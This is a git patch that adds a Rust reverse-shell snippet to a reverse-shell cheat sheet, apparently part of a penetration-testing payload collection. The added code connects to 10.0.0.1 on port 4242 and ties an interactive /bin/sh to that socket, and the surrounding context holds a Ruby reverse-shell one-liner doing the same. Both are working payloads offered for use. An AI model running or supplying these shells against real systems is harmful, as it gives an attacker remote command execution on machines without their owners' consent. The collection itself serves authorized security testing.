From aea130a1aca60ba95d3f108d59787b3194883cf4 Mon Sep 17 00:00:00 2001 From: Tristan D'audibert Date: Mon, 21 Aug 2023 17:50:11 +0200 Subject: [PATCH] Add Rust reverse shell for unix --- .../Reverse Shell Cheatsheet.md | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md index 8f45d15..7af4e18 100644 --- a/Methodology and Resources/Reverse Shell Cheatsheet.md +++ b/Methodology and Resources/Reverse Shell Cheatsheet.md @@ -28,6 +28,7 @@ * [Powershell](#powershell) * [Python](#python) * [Ruby](#ruby) + * [Rust](#rust) * [Socat](#socat) * [Telnet](#telnet) * [War](#war) @@ -197,6 +198,27 @@ NOTE: Windows only ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` +### Rust + +```rust +use std::net::TcpStream; +use std::os::unix::io::{AsRawFd, FromRawFd}; +use std::process::{Command, Stdio}; + +fn main() { + let s = TcpStream::connect("10.0.0.1:4242").unwrap(); + let fd = s.as_raw_fd(); + Command::new("/bin/sh") + .arg("-i") + .stdin(unsafe { Stdio::from_raw_fd(fd) }) + .stdout(unsafe { Stdio::from_raw_fd(fd) }) + .stderr(unsafe { Stdio::from_raw_fd(fd) }) + .spawn() + .unwrap() + .wait() + .unwrap(); +} +``` ### Golang ```bash